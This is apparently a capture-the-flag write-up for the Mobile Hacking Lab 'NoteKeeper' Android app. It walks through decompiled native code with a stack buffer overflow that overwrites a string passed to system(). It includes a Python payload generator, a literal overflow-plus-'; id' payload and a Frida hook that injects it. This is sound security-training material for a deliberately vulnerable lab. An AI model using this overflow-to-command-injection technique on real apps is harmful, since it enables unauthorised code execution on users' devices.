Mobile Hacking Lab – NoteKeeper

Jan 4, 2025

android, bufferoverflow, ctf, frida, hooking, jadx, libnatives, MHL, mobile, RCE, reversing, writeup

Description: Welcome to the NoteKeeper Application, where users can create and encode short notes. However, lurking within the app is a critical buffer overflow vulnerability. Your mission is to uncover this vulnerability and exploit it to achieve remote code execution.

Download: https://lautarovculic.com/my_files/notekeeper.apk
Link: https://www.mobilehackinglab.com/path-player?courseid=lab-notekeeper

Install the app with ADB

				
					adb install -r notekeeper.apk

We can see how this notes app allows us to enter a title and description.
In addition, once we save the note, it shows us a character counter (of the description).

Let’s decompile the apk with apktool

				
					apktool d notekeeper.apk

Also, let’s inspect the source code with jadx.

We can see that this app call an library

				
					static {
    System.loadLibrary("notekeeper");
}

Let’s see the code of some function.
We can see this function:
Java_com_mobilehackinglab_notekeeper_MainActivity_parse
With this content:

				
					Java_com_mobilehackinglab_notekeeper_MainActivity_parse
          (_JNIEnv *param_1,undefined8 param_2,_jstring *param_3)

{
  int local_2a8;
  char local_2a4 [100];
  char acStack_240 [500];
  int local_4c;
  ushort *local_48;
  _jstring *local_40;
  undefined8 local_38;
  _JNIEnv *local_30;
  undefined8 local_28;
  
  local_40 = param_3;
  local_38 = param_2;
  local_30 = param_1;
  local_48 = (ushort *)_JNIEnv::GetStringChars(param_1,param_3,(uchar *)0x0);
  local_4c = _JNIEnv::GetStringLength(local_30,local_40);
  memcpy(acStack_240,"Log \"Note added at $(date)\"",500);
  if (local_48 == (ushort *)0x0) {
    local_28 = 0;
  }
  else {
    local_2a4[0] = FUN_00100bf4(*local_48 & 0xff);
    for (local_2a8 = 1; local_2a8 < local_4c; local_2a8 = local_2a8 + 1) {
      local_2a4[local_2a8] = (char)local_48[local_2a8];
    }
    system(acStack_240);
    local_2a4[local_2a8] = '\0';
    local_28 = _JNIEnv::NewStringUTF(local_30,local_2a4);
  }
  return local_28;
}

Let’s explain where the buffer overflow is.

The overflow occurs in local_2a4, a 100-byte buffer, when data is copied from local_48 without validating its size.
This allows overwriting adjacent values on the stack, including the acStack_240 string, used in the dangerous system() function.

How we can inject the malicious code?

We injected a malicious payload that overflowed local_2a4 and modified the contents of acStack_240.
We exploited the call to system(acStack_240) to execute arbitrary commands (id) on the system.

Why this can work?

There was no boundary validation in the loop that copies data to local_2a4.
The system() command directly executes what is in acStack_240.

But, where we inject the payload?
According to MainActivity.java class, we can see that the parse function of the library is used in the title

				
					String cap_title = this$0.parse(title_);

And

				
					public final native String parse(String Title);

The title (title_) is passed directly to the native parse method, where the buffer overflow occurs.
The description (note_con) is not passed to the native method, but is used only to display content in the interface.

So, the char counter doesn’t matter clearly.

The native parse method works with param_3, which directly receives the title as a String.
In the C code, the title is converted to a pointer (local_48) and copied into the vulnerable buffer local_2a4.

				
					local_48 = (ushort *)_JNIEnv::GetStringChars(param_1,param_3,(uchar *)0x0);

So let’s use this python script:

				
					# buffer local_2a4 (100 bytes)
payload = "A" * 100
# Padding
payload += "BBBB" * 5
# command to execute 'system(acStack_240)'
payload += "; id > /data/data/com.mobilehackinglab.notekeeper/test.txt"

with open("payload.txt", "w") as f:
    f.write(payload)

print("[+] Payload generated:")
print(payload)
print("[+] Saved as 'payload.txt'")

Then, copy the payload:

				
					AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBB; id > /data/data/com.mobilehackinglab.notekeeper/outputCommand.txt

And check the content with ADB

				
					cat /data/data/com.mobilehackinglab.notekeeper/outputCommand.txt

Also you can try make it intercepting with frida the title, then replace it with the payload.

				
					Java.perform(function () {
    var MainActivity = Java.use('com.mobilehackinglab.notekeeper.MainActivity');

    // Hooking
    var parse = MainActivity.parse.overload('java.lang.String');
    parse.implementation = function (title) {
        console.log("[+] Intercepting parse...");
        console.log("[+] Original Title: " + title);

        // Craft payload
        var payload = "A".repeat(100); // Overflow buffer
        payload += "BBBB"; // Padding
        payload += "; id > /data/data/com.mobilehackinglab.notekeeper/fridaInection.txt";

        console.log("[+] Injected payload: " + payload);

        // Call to the function
        return parse.call(this, payload);
    };
});

I hope you found it useful (:

Mobile Hacking Lab – NoteKeeper

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